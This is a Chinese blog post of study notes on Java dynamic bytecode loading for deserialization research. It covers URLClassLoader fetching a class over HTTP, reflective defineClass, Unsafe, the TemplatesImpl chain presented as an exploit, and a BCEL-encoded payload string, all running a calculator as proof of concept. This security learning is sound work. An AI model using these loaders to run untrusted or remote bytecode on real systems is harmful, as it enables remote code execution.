动态加载字节码

学习文章:https://drun1baby.top/2022/06/03/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-05-%E7%B1%BB%E7%9A%84%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD/#0x04-%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81

字节码的概念

字节码是Java虚拟机(JVM)能够理解和执行的中间代码,它介于源代码和机器码之间

严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在.class文件中

image-20260108194431514

类加载器的原理

loadClass()方法被调用的时候,是不进行类的初始化的

1
2
3
4
5
6
7
8
9
package DynamicClassLoader;

public class Main {
public static void main(String[] args) throws Exception {
ClassLoader c = ClassLoader.getSystemClassLoader();
c.loadClass("DynamicClassLoader.Person");
}
}

在调用loadClass方法那里打断点进行调试

image-20260113131734253

找到智能步入跟进看代码

image-20260113132002679

会先走到ClassLoader#loadClass(),这里return一个loadClass()方法,并且第二个参数是false

image-20260113132203463

继续跟进会到Launcher#loadClass

image-20260113132849893

这里是一些判断安全的代码,最终会return (super.loadClass(name, resolve));

image-20260113133208573

继续跟进就会回到之前的ClassLoader类,下面就是双亲委派的过程

image-20260113134041549

这里parent这个属性是有的,不是null,是ExtClassLoader,所以会调用ExtClassLoader#loadClass()

image-20260113134141653

继续跟进还是会回到这个ClassLoader#loadClass(),因为ExtClassLoader没有loadClass()方法,所以会回来

image-20260113134644028

继续跟进后会发现parentnullnull的是因为Bootstrap类是native类,是用C写的源码,所以是null,然后就会调用findBootstrapClassOrNull()方法,但也是没有找到

image-20260113134825662

所以此时cnull,继续跟进会到findClass()

image-20260113135154355

去看ClassLoader.findClass()会发现没有写,是需要重写的一个方法

image-20260113135707683

所以就会继续走到此类的findClass()方法,当前是ExtClassLoader,就是会到它的

image-20260113135846993

但是继续跟进会走到URLClassLoader#findClass(),又突然多出一个URLClassLoader

image-20260113135319150

这是因为ExtClassLoaderAppClassLoader里没有findClass(),并且这两个类的直接父类都是URLClassLoader

虽然在双亲委派模型中看起来这两个类不是平行关系,但实际上作为普通类来说,它们都是继承了父类URLClassLoader,是平行关系

所以这里会跟进到URLClassLoader#findClass()

image-20260113140415284

这里就是加载不到,没有找到,就直接过了

继续跟进就又回到ClassLoader#loadClass(),继续到findClass()这里,此时类是AppClassLoader

image-20260113141340861

继续跟进也是会进入到URLClassLoader#findClass()

image-20260113141515788

继续跟进会调用到defineClass()

image-20260126154054864

再一步步跟进就是我们的 native 方法了

总流程:

1
2
3
4
5
6
	ClassLoader
-> SecureClassLoader
-> URLClassLoader
-> APPClassLoader
-> loadClass()
-> findClass()

动态加载字节码的利用方式

1. 利用URLClassLoader远程加载class文件

方法一:file协议加载本地.class文件

URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

准备个能弹计算器的测试文件Calc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package src.ClassLoaderDemo;

import java.io.IOException;

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}

编译成.class文件:

1
javac Calc.java

然后我将编译好的Calc.class文件复制粘贴到E:\tmp目录下

image-20260125185010159

准备好测试文件后就可以编写URLClassLoader的启动类:

1
2
3
4
5
6
7
8
9
10
11
12
13
package src.ClassLoaderDemo.URLClassLoaderDemo;

import java.net.URL;
import java.net.URLClassLoader;

public class FileDemo {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:/tmp/")});
Class<?> calc = urlClassLoader.loadClass("src.ClassLoaderDemo.Calc");
calc.newInstance();
}
}

image-20260125190059512

方法二:HTTP协议通过URL加载远程类

在刚才放Calc.classE:\tmp\目录下起一个 HTTP 服务:

1
python -m http.server 9999

image-20260125191536273

然后是利用类:

1
2
3
4
5
6
7
8
9
10
11
12
13
package src.ClassLoaderDemo.URLClassLoaderDemo;

import java.net.URL;
import java.net.URLClassLoader;

public class HTTPDemo {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
Class<?> calc = urlClassLoader.loadClass("src.ClassLoaderDemo.Calc");
calc.newInstance();
}
}

image-20260125191914951

方法三:file+jar协议加载本地JAR包中的类

将之前的Calc.class文件打包为.jar文件(注意是在编译为Calc.class文件的目录下,不是复制后的E:\tmp\目录):

1
jar -cvf Calc.jar Calc.class

image-20260125192700508

然后将生成的JAR包复制到E:\tmp\目录下

image-20260125192826800

然后是利用类:

1
2
3
4
5
6
7
8
9
10
11
12
13
package src.ClassLoaderDemo.URLClassLoaderDemo;

import java.net.URL;
import java.net.URLClassLoader;

public class JarDemo {
public static void main(String[] args) throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:/tmp/Calc.jar!/")});
Class<?> calc = urlClassLoader.loadClass("src.ClassLoaderDemo.Calc");
calc.newInstance();
}
}

  • 注意路径后加上!/

image-20260125193321320

方法四:HTTP+jar协议加载远程JAR包中的类

最好用灵活的肯定是这个方法了

利用类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package src.ClassLoaderDemo.URLClassLoaderDemo;

import java.net.URL;
import java.net.URLClassLoader;

public class JarDemo {
public static void main(String[] args) throws Exception{
// URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:/tmp/Calc.jar!/")});
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")});
Class<?> calc = urlClassLoader.loadClass("src.ClassLoaderDemo.Calc");
calc.newInstance();
}
}

image-20260125193548471

2. 利用ClassLoader.defineClass直接加载字节码

本地或远程加载 class 或 jar 文件,Java都是经历以下三个方法调用:

1
2
3
ClassLoader#loadClass
ClassLoader#findClass
ClassLoader#defineClass
  • loadClass() :是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前 ClassLoader 的findClass()方法
  • findClass() :根据URL指定的方式来加载类的字节码,其中会调用defineClass()
  • defineClass :是处理前面传入的字节码,将其处理成真正的 Java 类

最核心的就是defineClass,决定了如何将一段字节流转变成一个Java类

跟进看看defineClass

image-20260125200327390

1
2
3
4
5
6
7
8
9
10
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
protectionDomain = preDefineClass(name, protectionDomain);
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}

解释下几个参数:

  • name:类名
  • b:字节码数组
  • off:偏移量
  • len:字节码数组长度

可以看到ClassLoader#defineClassprotected属性,所以无法从外部直接访问,因此要反射调用defineClass()进行字节码加载,利用类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package src.ClassLoaderDemo.ClassLoaderDefineClassDemo;

import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ClassLoaderDefineClassDemo {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
Class c = (Class) method.invoke(classLoader,"src.ClassLoaderDemo.Calc",code,0,code.length);
c.newInstance();
}
}

image-20260125203211746

  • 优点:不要出网就能加载字节码
  • 缺点:需要设置method.setAccessible(true);,在平常反射中是无法调用的,而且在实际场景中defineClass 方法作用域是不开放的,所以很少能直接利用到

3. Unsafe.defineClass加载字节码

Unsafe中也有defineClass,本质上也是defineClass加载字节码

image-20260125210320004

1
2
3
public native Class<?> defineClass(String name, byte[] b, int off, int len,
ClassLoader loader,
ProtectionDomain protectionDomain);

这里的 Unsafe 方法,是采用单例模式进行设计的,所以虽然是 public 方法,但无法直接调用,因为我们用反射来调用它

利用类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package src.ClassLoaderDemo.UnSafeDefineClassDemo;

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class UnsafeDefineClassDemo {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<Unsafe> unsafeClass = Unsafe.class;
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
Method defineClassMethod = unsafeClass.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
Class<?> calc = (Class<?>) defineClassMethod.invoke(classUnsafe,"src.ClassLoaderDemo.Calc",code,0,code.length,classLoader,null);
calc.newInstance();
}
}

4. TemplatesImpl加载字节码

跟进看TemplatesImpl

image-20260126103943854

会看到在TemplatesImpl这个类中还有一个内部类TransletClassLoader,这个类继承了ClassLoader,并且重写了defineClass方法

image-20260126104012668

  • 简单来说,这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用

然后向前找一下利用链

TemplatesImpl#defineTransletClasses()中会调用到defineClass

image-20260126115034635

然后是有三处会调用到defineTransletClasses(),这里用TemplatesImpl#getTransletInstance(),如果_class==null就会调用

image-20260126115331178

然后是在TemplatesImpl#newTransformer()中可以调用到getTransletInstance(),并且newTransformer还是个public,是可以外部调用的

image-20260126115452157

然后在TemplatesImpl#getOutputProperties中可以调用到newTransformer(),这也是个public的,可以外部调用

image-20260126115553591

所以调用链为:

1
2
3
4
5
	TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> TemplatesImpl.getTransletInstance()
-> TemplatesImpl.defineTransletClasses()
-> TransletClassLoader.defineClass()

TemplatesImpl#newTransformer()public属性,所以可以直接从这里调用开始构造

先构造字节码

注意,这里的字节码必须继承AbstractTranslet,因为继承了这一抽象类,所以必须要重写一下里面的方法

image-20260126142140155

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package src.ClassLoaderDemo.TemplatesImplDemo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TemplatesBytes extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public TemplatesBytes() throws IOException{
super();
Runtime.getRuntime().exec("calc");
}
}

将其进行编译为 class 文件,然后放到E:\tmp\目录下

1
javac TemplatesBytes.java

image-20260126143138235

然后是这个链子:

先创建好用来反射设置字段的函数:

1
2
3
4
5
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

然后是main函数,先是加载刚才构造的恶意字节码:

1
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));

然后是创建个TemplatesImpl对象实例,通过反射来设置私有字段:

1
2
3
4
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

这里_name不能为null_class要为null,这才能进入到defineTransletClasses()

image-20260126144246987

到了defineTransletClasses中,要想能走到下面触发到defineClass,上面的_bytecodes也不能为null

image-20260126144646569

并且_tfactory需要是一个TransformerFactoryImpl对象,上图可以看到会调用到_tfactory.getExternalExtensionsMap(),如果_tfactorynull就会报错

image-20260126144805201

最后触发代码执行:

1
templates.newTransformer();

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package src.ClassLoaderDemo.TemplatesImplDemo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplatesImplDemo {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();

}
}

image-20260126145354752

5. 利用BCEL ClassLoader加载字节码

  • 什么是 BCEL?

BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。

我们可以通过 BCEL 提供的两个类 RepositoryUtility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package src.ClassLoaderDemo.BCELDemo;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class BCELDemo {
public static void main(String[] args) throws Exception{
Class calc = Class.forName("src.ClassLoaderDemo.Calc");
JavaClass javaClass = Repository.lookupClass(calc);
String code = Utility.encode(javaClass.getBytes(), true);
System.out.println(code);
}
}

image-20260126150349752

这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。

修改下EXP:

1
2
3
4
5
6
7
8
9
10
package src.ClassLoaderDemo.BCELDemo;

import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCELDemo {
public static void main(String[] args) throws Exception{
new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$AuQ$cbn$da$40$U$3d$D$G$h$d7$94$84$UJ$e8$bb$cd$83$b0$a87$d9$81$ba$a1$adT$d5m$aa$S$d1$f50$8c$e8$a4$c6F$f6$Q$e5$8f$b2fC$a2$$$fa$B$f9$a8$uw$iB$91$da$8c$e4$fb$9cs$ee$b9$e3$ab$eb$df$7f$A$ib$cf$85$83$c7$$$g$d8v$d04$fe$89$8d$a7$$$Kxf$e3$b9$8d$X$M$c5$ae$8a$94$7e$c7$90o$j$M$Y$ac$5e$3c$92$M$95$40E$f2$ebl2$94$c91$l$86T$a9$G$b1$e0$e1$80$t$ca$e4$cb$a2$a5$7f$aa$94$a1$Z$a4$89$f0$7b$nO$d3$m$e6$p$99$bc$97$93$d8$ef$f1Pt$Y$9c$ae$I$97$p$YAj$c1$J$3f$e5$be$8a$fdOG$l$ce$84$9cj$VGt$ad$dc$d7$5c$fc$fa$c2$a7$Z5$a9dp$fb$f1$y$R$f2$a32$a3J$86$ee$ad$c1z$u$c1$b5$f1$d2$c3$x$bc$s$N$qKxx$83$j$86$ad$ffp$7b$d8$85$cb$d0$b8O$o$c3F$86$Ky4$f6$8f$86$tRh$86$cd$bf$a5$ef$b3H$ab$J$vp$c7R$af$92Z$eb$m$f8$e7$O$ada$c93I$94$fb$ad$b5n_$t$w$gw$d6$B$df$92X$c84$r$40eJM$9d$z$7f$9cp$ni$v$9b$7e$9a990$b3$w$d9$H$94$f9$e4$Z$f9B$fb$Cl$9e$b5$3d$b2$c5$db$o$cad$bde$fc$Q$V$f2$O6V$60$9e$91$B$d5K$e4$aa$f9$F$ac$l$e7p$3e$b7$X$u$ce$b3z$89$b0$F$e43$c6$3aE$G$5d$o$a4y$eb2$b1lRt7$a1$M$8b$f2$we$5b$f4$d9$c8$F6$kY$d4$a8e$a2$ea7$ff$cd$e2c$7e$C$A$A").newInstance();
}
}

image-20260126151023499

加上 $$BCEL$$的原因

BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode


动态加载字节码
https://yschen20.github.io/2026/01/26/动态加载字节码/
作者
Suzen
发布于
2026年1月26日
更新于
2026年1月26日
许可协议